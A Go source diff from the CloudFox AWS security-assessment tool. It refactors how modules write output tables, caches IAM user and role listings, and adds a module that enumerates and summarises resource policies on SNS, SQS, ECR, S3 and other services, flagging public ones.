||||
CallingModule: m.output.CallingModule,
|
||||
Table: internal.TableClient{
|
||||
Wrap: m.WrapTable,
|
||||
},
|
||||
}
|
||||
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
|
||||
Header: m.output.Headers,
|
||||
Body: m.output.Body,
|
||||
Name: m.output.CallingModule,
|
||||
})
|
||||
o.PrefixIdentifier = m.AWSProfile
|
||||
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
o.WriteFullOutput(o.Table.TableFiles, nil)
|
||||
//m.writeLoot(o.Table.DirectoryName, verbosity)
|
||||
|
||||
fmt.Printf("[%s][%s] %s principals who are admin or have a path to admin identified.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
|
||||
|
||||
|
||||
+61
-82
@@ -1,21 +1,20 @@
|
||||
package aws
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
|
||||
"github.com/BishopFox/cloudfox/aws/sdk"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/service/iam"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sts"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type IamPrincipalsModule struct {
|
||||
// General configuration data
|
||||
IAMClient *iam.Client
|
||||
IAMClient sdk.AWSIAMClientInterface
|
||||
|
||||
Caller sts.GetCallerIdentityOutput
|
||||
AWSRegions []string
|
||||
@@ -87,8 +86,8 @@ func (m *IamPrincipalsModule) PrintIamPrincipals(outputFormat string, outputDire
|
||||
// done <- true
|
||||
// <-done
|
||||
|
||||
m.getIAMUsers()
|
||||
m.getIAMRoles()
|
||||
m.addIAMUsersToTable()
|
||||
m.addIAMRolesToTable()
|
||||
|
||||
//fmt.Printf("\nAnalyzed Resources by Region\n\n")
|
||||
|
||||
@@ -135,10 +134,26 @@ func (m *IamPrincipalsModule) PrintIamPrincipals(outputFormat string, outputDire
|
||||
|
||||
}
|
||||
if len(m.output.Body) > 0 {
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
//m.output.OutputSelector(outputFormat)
|
||||
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
|
||||
internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
o := internal.OutputClient{
|
||||
Verbosity: verbosity,
|
||||
CallingModule: m.output.CallingModule,
|
||||
Table: internal.TableClient{
|
||||
Wrap: m.WrapTable,
|
||||
},
|
||||
}
|
||||
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
|
||||
Header: m.output.Headers,
|
||||
Body: m.output.Body,
|
||||
Name: m.output.CallingModule,
|
||||
})
|
||||
o.PrefixIdentifier = m.AWSProfile
|
||||
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
o.WriteFullOutput(o.Table.TableFiles, nil)
|
||||
//m.writeLoot(o.Table.DirectoryName, verbosity)
|
||||
fmt.Printf("[%s][%s] %s IAM principals found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
|
||||
|
||||
} else {
|
||||
@@ -160,100 +175,64 @@ func (m *IamPrincipalsModule) executeChecks(wg *sync.WaitGroup) {
|
||||
}
|
||||
*/
|
||||
|
||||
func (m *IamPrincipalsModule) getIAMUsers() {
|
||||
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
|
||||
var PaginationControl *string
|
||||
func (m *IamPrincipalsModule) addIAMUsersToTable() {
|
||||
var AWSService = "IAM"
|
||||
|
||||
var IAMtype = "User"
|
||||
var attachedPolicies []string
|
||||
var inlinePolicies []string
|
||||
|
||||
for {
|
||||
ListUsers, err := m.IAMClient.ListUsers(
|
||||
context.TODO(),
|
||||
&iam.ListUsersInput{
|
||||
Marker: PaginationControl,
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
break
|
||||
}
|
||||
ListUsers, err := sdk.CachedIamListUsers(m.IAMClient, aws.ToString(m.Caller.Account))
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
}
|
||||
|
||||
for _, user := range ListUsers.Users {
|
||||
arn := user.Arn
|
||||
name := user.UserName
|
||||
for _, user := range ListUsers {
|
||||
arn := user.Arn
|
||||
name := user.UserName
|
||||
|
||||
m.Users = append(
|
||||
m.Users,
|
||||
User{
|
||||
AWSService: AWSService,
|
||||
Arn: aws.ToString(arn),
|
||||
Name: aws.ToString(name),
|
||||
Type: IAMtype,
|
||||
AttachedPolicies: attachedPolicies,
|
||||
InlinePolicies: inlinePolicies,
|
||||
})
|
||||
}
|
||||
|
||||
// Pagination control. After the last page of output, the for loop exits.
|
||||
if ListUsers.Marker != nil {
|
||||
PaginationControl = ListUsers.Marker
|
||||
} else {
|
||||
PaginationControl = nil
|
||||
break
|
||||
}
|
||||
m.Users = append(
|
||||
m.Users,
|
||||
User{
|
||||
AWSService: AWSService,
|
||||
Arn: aws.ToString(arn),
|
||||
Name: aws.ToString(name),
|
||||
Type: IAMtype,
|
||||
AttachedPolicies: attachedPolicies,
|
||||
InlinePolicies: inlinePolicies,
|
||||
})
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func (m *IamPrincipalsModule) getIAMRoles() {
|
||||
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
|
||||
var PaginationControl *string
|
||||
func (m *IamPrincipalsModule) addIAMRolesToTable() {
|
||||
|
||||
//var totalRoles int
|
||||
var AWSService = "IAM"
|
||||
var IAMtype = "Role"
|
||||
var attachedPolicies []string
|
||||
var inlinePolicies []string
|
||||
|
||||
for {
|
||||
ListRoles, err := m.IAMClient.ListRoles(
|
||||
context.TODO(),
|
||||
&iam.ListRolesInput{
|
||||
Marker: PaginationControl,
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
break
|
||||
}
|
||||
for _, role := range ListRoles.Roles {
|
||||
arn := role.Arn
|
||||
name := role.RoleName
|
||||
ListRoles, err := sdk.CachedIamListRoles(m.IAMClient, aws.ToString(m.Caller.Account))
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
}
|
||||
|
||||
m.Roles = append(
|
||||
m.Roles,
|
||||
Role{
|
||||
AWSService: AWSService,
|
||||
Arn: aws.ToString(arn),
|
||||
Name: aws.ToString(name),
|
||||
Type: IAMtype,
|
||||
AttachedPolicies: attachedPolicies,
|
||||
InlinePolicies: inlinePolicies,
|
||||
})
|
||||
}
|
||||
for _, role := range ListRoles {
|
||||
arn := role.Arn
|
||||
name := role.RoleName
|
||||
|
||||
// Pagination control. After the last page of output, the for loop exits.
|
||||
if ListRoles.Marker != nil {
|
||||
PaginationControl = ListRoles.Marker
|
||||
} else {
|
||||
PaginationControl = nil
|
||||
//fmt.Printf("IAM Roles: %d\n\n", totalRoles)
|
||||
break
|
||||
}
|
||||
m.Roles = append(
|
||||
m.Roles,
|
||||
Role{
|
||||
AWSService: AWSService,
|
||||
Arn: aws.ToString(arn),
|
||||
Name: aws.ToString(name),
|
||||
Type: IAMtype,
|
||||
AttachedPolicies: attachedPolicies,
|
||||
InlinePolicies: inlinePolicies,
|
||||
})
|
||||
}
|
||||
|
||||
}
|
||||
+19
-3
@@ -115,10 +115,26 @@ func (m *RAMModule) PrintRAM(outputFormat string, outputDirectory string, verbos
|
||||
|
||||
}
|
||||
if len(m.output.Body) > 0 {
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
//m.output.OutputSelector(outputFormat)
|
||||
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
|
||||
internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
o := internal.OutputClient{
|
||||
Verbosity: verbosity,
|
||||
CallingModule: m.output.CallingModule,
|
||||
Table: internal.TableClient{
|
||||
Wrap: m.WrapTable,
|
||||
},
|
||||
}
|
||||
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
|
||||
Header: m.output.Headers,
|
||||
Body: m.output.Body,
|
||||
Name: m.output.CallingModule,
|
||||
})
|
||||
o.PrefixIdentifier = m.AWSProfile
|
||||
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
o.WriteFullOutput(o.Table.TableFiles, nil)
|
||||
//m.writeLoot(o.Table.DirectoryName, verbosity)
|
||||
fmt.Printf("[%s][%s] %s resources found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
|
||||
} else {
|
||||
fmt.Printf("[%s][%s] No resources found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
@@ -129,7 +145,7 @@ func (m *RAMModule) PrintRAM(outputFormat string, outputDirectory string, verbos
|
||||
func (m *RAMModule) executeChecks(r string, wg *sync.WaitGroup, dataReceiver chan Resource) {
|
||||
defer wg.Done()
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "EMBEDDED_IN_PACKAGE",
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("ram", r)
|
||||
if err != nil {
|
||||
|
||||
@@ -0,0 +1,739 @@
|
||||
package aws
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"github.com/BishopFox/cloudfox/aws/sdk"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/BishopFox/cloudfox/internal/aws/policy"
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/aws/arn"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sts"
|
||||
"github.com/bishopfox/awsservicemap"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type ResourceTrustsModule struct {
|
||||
// General configuration data
|
||||
Caller sts.GetCallerIdentityOutput
|
||||
AWSRegions []string
|
||||
Goroutines int
|
||||
WrapTable bool
|
||||
AWSProfile string
|
||||
CloudFoxVersion string
|
||||
|
||||
Resources2 []Resource2
|
||||
CommandCounter internal.CommandCounter
|
||||
|
||||
output internal.OutputData2
|
||||
modLog *logrus.Entry
|
||||
}
|
||||
|
||||
type Resource2 struct {
|
||||
AccountID string
|
||||
Name string
|
||||
ARN string
|
||||
Region string
|
||||
Policy policy.Policy
|
||||
PolicyJSON string
|
||||
ResourcePolicySummary string
|
||||
Public string
|
||||
Interesting string
|
||||
}
|
||||
|
||||
func (m *ResourceTrustsModule) PrintResources(outputFormat string, outputDirectory string, verbosity int) {
|
||||
// These stuct values are used by the output module
|
||||
m.output.Verbosity = verbosity
|
||||
m.output.Directory = outputDirectory
|
||||
m.output.CallingModule = "resource-trusts"
|
||||
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
|
||||
"module": m.output.CallingModule,
|
||||
})
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
if m.AWSProfile == "" {
|
||||
m.AWSProfile = internal.BuildAWSPath(m.Caller)
|
||||
}
|
||||
|
||||
fmt.Printf("[%s][%s] Enumerating Resources with resource policies for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
|
||||
fmt.Printf("[%s][%s] Supported Services: CodeBuild, ECR, EFS, Lambda, S3, SNS, SQS\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
wg := new(sync.WaitGroup)
|
||||
semaphore := make(chan struct{}, m.Goroutines)
|
||||
|
||||
// Create a channel to signal the spinner aka task status goroutine to finish
|
||||
spinnerDone := make(chan bool)
|
||||
//fire up the the task status spinner/updated
|
||||
go internal.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "tasks")
|
||||
|
||||
//create a channel to receive the objects
|
||||
dataReceiver := make(chan Resource2)
|
||||
|
||||
// Create a channel to signal to stop
|
||||
receiverDone := make(chan bool)
|
||||
go m.Receiver(dataReceiver, receiverDone)
|
||||
|
||||
for _, region := range m.AWSRegions {
|
||||
wg.Add(1)
|
||||
m.CommandCounter.Pending++
|
||||
go m.executeChecks(region, wg, semaphore, dataReceiver)
|
||||
|
||||
}
|
||||
wg.Add(1)
|
||||
go m.getS3Buckets(wg, semaphore, dataReceiver)
|
||||
|
||||
wg.Wait()
|
||||
// Send a message to the spinner goroutine to close the channel and stop
|
||||
spinnerDone <- true
|
||||
<-spinnerDone
|
||||
// Send a message to the data receiver goroutine to close the channel and stop
|
||||
receiverDone <- true
|
||||
<-receiverDone
|
||||
|
||||
// add - if struct is not empty do this. otherwise, dont write anything.
|
||||
m.output.Headers = []string{
|
||||
//"Account ID",
|
||||
"ARN",
|
||||
"Public",
|
||||
"Interesting",
|
||||
"Resource Policy Summary",
|
||||
}
|
||||
|
||||
// sort the table roles by Interesting
|
||||
sort.Slice(m.Resources2, func(i, j int) bool {
|
||||
return m.Resources2[j].Interesting > m.Resources2[i].Interesting
|
||||
})
|
||||
|
||||
// Table rows
|
||||
for i := range m.Resources2 {
|
||||
m.output.Body = append(
|
||||
m.output.Body,
|
||||
[]string{
|
||||
//m.Resources2[i].AccountID,
|
||||
m.Resources2[i].ARN,
|
||||
m.Resources2[i].Public,
|
||||
m.Resources2[i].Interesting,
|
||||
m.Resources2[i].ResourcePolicySummary,
|
||||
},
|
||||
)
|
||||
|
||||
}
|
||||
if len(m.output.Body) > 0 {
|
||||
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
//m.writeLoot(m.output.FilePath, verbosity, m.AWSProfile)
|
||||
o := internal.OutputClient{
|
||||
Verbosity: verbosity,
|
||||
CallingModule: m.output.CallingModule,
|
||||
Table: internal.TableClient{
|
||||
Wrap: m.WrapTable,
|
||||
},
|
||||
}
|
||||
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
|
||||
Header: m.output.Headers,
|
||||
Body: m.output.Body,
|
||||
Name: m.output.CallingModule,
|
||||
})
|
||||
o.PrefixIdentifier = m.AWSProfile
|
||||
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
o.WriteFullOutput(o.Table.TableFiles, nil)
|
||||
//m.writeLoot(o.Table.DirectoryName, verbosity)
|
||||
fmt.Printf("[%s][%s] %s resource policies found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
|
||||
//fmt.Printf("[%s][%s] Resource policies stored to: %s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.getLootDir())
|
||||
} else {
|
||||
fmt.Printf("[%s][%s] No resource policies found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
}
|
||||
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
|
||||
|
||||
}
|
||||
|
||||
func (m *ResourceTrustsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
|
||||
defer wg.Done()
|
||||
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("sns", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
wg.Add(1)
|
||||
m.getSNSTopicsPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
|
||||
res, err = servicemap.IsServiceInRegion("sqs", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
wg.Add(1)
|
||||
m.getSQSQueuesPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
|
||||
res, err = servicemap.IsServiceInRegion("ecr", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
wg.Add(1)
|
||||
m.getECRRecordsPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
|
||||
res, err = servicemap.IsServiceInRegion("codebuild", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
wg.Add(1)
|
||||
m.getCodeBuildResourcePoliciesPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
res, err = servicemap.IsServiceInRegion("lambda", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
wg.Add(1)
|
||||
m.getLambdaPolicyPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
res, err = servicemap.IsServiceInRegion("efs", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
wg.Add(1)
|
||||
m.getEFSfilesystemPoliciesPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func (m *ResourceTrustsModule) Receiver(receiver chan Resource2, receiverDone chan bool) {
|
||||
defer close(receiverDone)
|
||||
for {
|
||||
select {
|
||||
case data := <-receiver:
|
||||
m.Resources2 = append(m.Resources2, data)
|
||||
case <-receiverDone:
|
||||
receiverDone <- true
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *ResourceTrustsModule) getSNSTopicsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
semaphore <- struct{}{}
|
||||
defer func() { <-semaphore }()
|
||||
|
||||
cloudFoxSNSClient := InitCloudFoxSNSClient(m.Caller, m.AWSProfile, m.CloudFoxVersion, m.Goroutines, m.WrapTable)
|
||||
|
||||
ListTopics, err := cloudFoxSNSClient.listTopics(r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
for _, t := range ListTopics {
|
||||
var statementSummaryInEnglish string
|
||||
var isInteresting string = "No"
|
||||
topic, err := cloudFoxSNSClient.getTopicWithAttributes(aws.ToString(t.TopicArn), r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
continue
|
||||
}
|
||||
parsedArn, err := arn.Parse(aws.ToString(t.TopicArn))
|
||||
if err != nil {
|
||||
topic.Name = aws.ToString(t.TopicArn)
|
||||
}
|
||||
topic.Name = parsedArn.Resource
|
||||
topic.Region = parsedArn.Region
|
||||
|
||||
// check if topic is public or not
|
||||
if topic.Policy.IsPublic() {
|
||||
topic.IsPublic = magenta("Yes")
|
||||
isInteresting = magenta("Yes")
|
||||
} else {
|
||||
topic.IsPublic = "No"
|
||||
}
|
||||
|
||||
// If there is a resouce policy, convert the resource policy into plain english
|
||||
if !topic.Policy.IsEmpty() {
|
||||
|
||||
for i, statement := range topic.Policy.Statement {
|
||||
var prefix string = ""
|
||||
if len(topic.Policy.Statement) > 1 {
|
||||
prefix = fmt.Sprintf("Statement %d says: ", i)
|
||||
statementSummaryInEnglish = statementSummaryInEnglish + prefix + statement.GetStatementSummaryInEnglish(*m.Caller.Account) + "\n"
|
||||
} else {
|
||||
statementSummaryInEnglish = statement.GetStatementSummaryInEnglish(*m.Caller.Account)
|
||||
}
|
||||
|
||||
}
|
||||
statementSummaryInEnglish = strings.TrimSuffix(statementSummaryInEnglish, "\n")
|
||||
if isResourcePolicyInteresting(statementSummaryInEnglish) {
|
||||
//magenta(statementSummaryInEnglish)
|
||||
isInteresting = magenta("Yes")
|
||||
}
|
||||
|
||||
dataReceiver <- Resource2{
|
||||
AccountID: aws.ToString(m.Caller.Account),
|
||||
ARN: aws.ToString(t.TopicArn),
|
||||
ResourcePolicySummary: statementSummaryInEnglish,
|
||||
Public: topic.IsPublic,
|
||||
Region: parsedArn.Region,
|
||||
Name: topic.Name,
|
||||
Interesting: isInteresting,
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func (m *ResourceTrustsModule) getS3Buckets(wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
semaphore <- struct{}{}
|
||||
defer func() { <-semaphore }()
|
||||
|
||||
cloudFoxS3Client := initCloudFoxS3Client(m.Caller, m.AWSProfile, m.CloudFoxVersion)
|
||||
|
||||
ListBuckets, err := sdk.CachedListBuckets(cloudFoxS3Client.S3Client, aws.ToString(m.Caller.Account))
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
for _, b := range ListBuckets {
|
||||
var statementSummaryInEnglish string
|
||||
var isInteresting string = "No"
|
||||
bucket := &Bucket{
|
||||
Arn: fmt.Sprintf("arn:aws:s3:::%s", aws.ToString(b.Name)),
|
||||
}
|
||||
name := aws.ToString(b.Name)
|
||||
region, err := sdk.CachedGetBucketLocation(cloudFoxS3Client.S3Client, aws.ToString(m.Caller.Account), name)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
continue
|
||||
}
|
||||
|
||||
policyJSON, err := sdk.CachedGetBucketPolicy(cloudFoxS3Client.S3Client, aws.ToString(m.Caller.Account), region, aws.ToString(b.Name))
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
continue
|
||||
} else {
|
||||
bucket.PolicyJSON = policyJSON
|
||||
}
|
||||
|
||||
policy, err := policy.ParseJSONPolicy([]byte(policyJSON))
|
||||
if err != nil {
|
||||
m.modLog.Error(fmt.Sprintf("parsing bucket access policy (%s) as JSON: %s", name, err))
|
||||
} else {
|
||||
bucket.Policy = policy
|
||||
}
|
||||
// easier to just set the default state to be no and only flip it to yes if we have a case that matches
|
||||
if policy.IsPublic() {
|
||||
bucket.IsPublic = magenta("Yes")
|
||||
isInteresting = magenta("Yes")
|
||||
} else {
|
||||
bucket.IsPublic = "No"
|
||||
}
|
||||
|
||||
// If there is a resouce policy, convert the resource policy into plain english
|
||||
if !bucket.Policy.IsEmpty() {
|
||||
for i, statement := range bucket.Policy.Statement {
|
||||
var prefix string = ""
|
||||
if len(bucket.Policy.Statement) > 1 {
|
||||
prefix = fmt.Sprintf("Statement %d says: ", i)
|
||||
statementSummaryInEnglish = statementSummaryInEnglish + prefix + statement.GetStatementSummaryInEnglish(*m.Caller.Account) + "\n"
|
||||
} else {
|
||||
statementSummaryInEnglish = statement.GetStatementSummaryInEnglish(*m.Caller.Account)
|
||||
}
|
||||
}
|
||||
statementSummaryInEnglish = strings.TrimSuffix(statementSummaryInEnglish, "\n")
|
||||
if isResourcePolicyInteresting(statementSummaryInEnglish) {
|
||||
//magenta(statementSummaryInEnglish)
|
||||
isInteresting = magenta("Yes")
|
||||
}
|
||||
|
||||
dataReceiver <- Resource2{
|
||||
AccountID: aws.ToString(m.Caller.Account),
|
||||
ARN: bucket.Arn,
|
||||
ResourcePolicySummary: statementSummaryInEnglish,
|
||||
Public: bucket.IsPublic,
|
||||
Region: region,
|
||||
Name: name,
|
||||
Interesting: isInteresting,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *ResourceTrustsModule) getSQSQueuesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
semaphore <- struct{}{}
|
||||
defer func() { <-semaphore }()
|
||||
|
||||
cloudFoxSQSClient := InitSQSClient(m.Caller, m.AWSProfile, m.CloudFoxVersion, m.Goroutines)
|
||||
|
||||
ListQueues, err := cloudFoxSQSClient.listQueues(r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
for _, q := range ListQueues {
|
||||
var statementSummaryInEnglish string
|
||||
var isInteresting string = "No"
|
||||
var isPublic string = "No"
|
||||
queue, err := cloudFoxSQSClient.getQueueWithAttributes(q, r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
continue
|
||||
}
|
||||
|
||||
if !queue.Policy.IsEmpty() {
|
||||
if queue.Policy.IsPublic() {
|
||||
isPublic = magenta("Yes")
|
||||
isInteresting = magenta("Yes")
|
||||
}
|
||||
for i, statement := range queue.Policy.Statement {
|
||||
prefix := ""
|
||||
if len(queue.Policy.Statement) > 1 {
|
||||
prefix = fmt.Sprintf("Statement %d says: ", i)
|
||||
statementSummaryInEnglish = prefix + statement.GetStatementSummaryInEnglish(*m.Caller.Account) + "\n"
|
||||
} else {
|
||||
statementSummaryInEnglish = statement.GetStatementSummaryInEnglish(*m.Caller.Account)
|
||||
}
|
||||
statementSummaryInEnglish = strings.TrimSuffix(statementSummaryInEnglish, "\n")
|
||||
if isResourcePolicyInteresting(statementSummaryInEnglish) {
|
||||
//magenta(statementSummaryInEnglish)
|
||||
isInteresting = magenta("Yes")
|
||||
}
|
||||
|
||||
dataReceiver <- Resource2{
|
||||
AccountID: aws.ToString(m.Caller.Account),
|
||||
ARN: aws.ToString(&queue.Arn),
|
||||
ResourcePolicySummary: statementSummaryInEnglish,
|
||||
Public: isPublic,
|
||||
Name: q,
|
||||
Region: r,
|
||||
Interesting: isInteresting,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *ResourceTrustsModule) getECRRecordsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
semaphore <- struct{}{}
|
||||
defer func() { <-semaphore }()
|
||||
|
||||
cloudFoxECRClient := InitECRClient(m.Caller, m.AWSProfile, m.CloudFoxVersion, m.Goroutines)
|
||||
|
||||
DescribeRepositories, err := cloudFoxECRClient.describeRepositories(r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
for _, repo := range DescribeRepositories {
|
||||
var isPublic string
|
||||
var statementSummaryInEnglish string
|
||||
var isInteresting string = "No"
|
||||
repoPolicy, err := cloudFoxECRClient.getECRRepositoryPolicy(r, aws.ToString(repo.RepositoryName))
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
continue
|
||||
}
|
||||
|
||||
if !repoPolicy.IsEmpty() {
|
||||
if repoPolicy.IsPublic() {
|
||||
isPublic = magenta("Yes")
|
||||
isInteresting = magenta("Yes")
|
||||
} else {
|
||||
isPublic = "No"
|
||||
}
|
||||
for i, statement := range repoPolicy.Statement {
|
||||
prefix := ""
|
||||
if len(repoPolicy.Statement) > 1 {
|
||||
prefix = fmt.Sprintf("Statement %d says: ", i)
|
||||
statementSummaryInEnglish = prefix + statement.GetStatementSummaryInEnglish(*m.Caller.Account) + "\n"
|
||||
} else {
|
||||
statementSummaryInEnglish = statement.GetStatementSummaryInEnglish(*m.Caller.Account)
|
||||
}
|
||||
statementSummaryInEnglish = strings.TrimSuffix(statementSummaryInEnglish, "\n")
|
||||
if isResourcePolicyInteresting(statementSummaryInEnglish) {
|
||||
//magenta(statementSummaryInEnglish)
